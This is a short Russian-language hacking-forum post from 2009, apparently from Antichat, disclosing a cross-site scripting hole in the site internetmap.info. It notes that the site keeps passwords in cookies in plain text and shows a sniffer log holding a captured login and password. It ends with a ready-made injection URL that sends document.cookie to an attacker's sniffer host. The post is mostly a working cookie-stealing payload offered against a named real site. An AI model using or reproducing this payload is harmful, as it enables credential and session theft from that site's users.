internetmap.info XSS

internetmap.info XSS

24.02.2009, 20:56

Dimi4

Reservists Of Antichat - Level 6

Регистрация: 19.03.2007

Сообщений: 953

С нами: 10077446

Репутация: 3965

internetmap.info XSS

internetmap.info XSS
Достаточно крупный проект. Пароли в куках там хранятся в чистом виде. При отправки на сниффер будет иметь вид:

Код:

Запрос с www.internetmap.info — 24.02.2009 16:35
	IP: **.**.**.** (whois)
QUERY: b=b; login=admin@mail.ru; password=Pass; b=b
REFERER: http://www.internetmap.info/cgi-bin/engine.cgi?a=%00%3Cimg%20src='javascript:img%20=%20new%20Image()%3b%20img.src%20=%20%22http://www*.com/s/s.gif?%22%2bdocument.cookie%3b'%3E&i=designers&f=works
AGENT: Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0

Скрипт декодить URL, обрезает спецсимволы (; в том числе). Формируем иньекцию:

Код:


http://www.internetmap.info/cgi-bin/engine.cgi?a=%00%3Cimg%20src='javascript:img%20=%20new%20Image()%3b%20img.src%20=%20%22http://снифер/s/s.gif?%22%2bdocument.cookie%3b'%3E&i=designers&f=works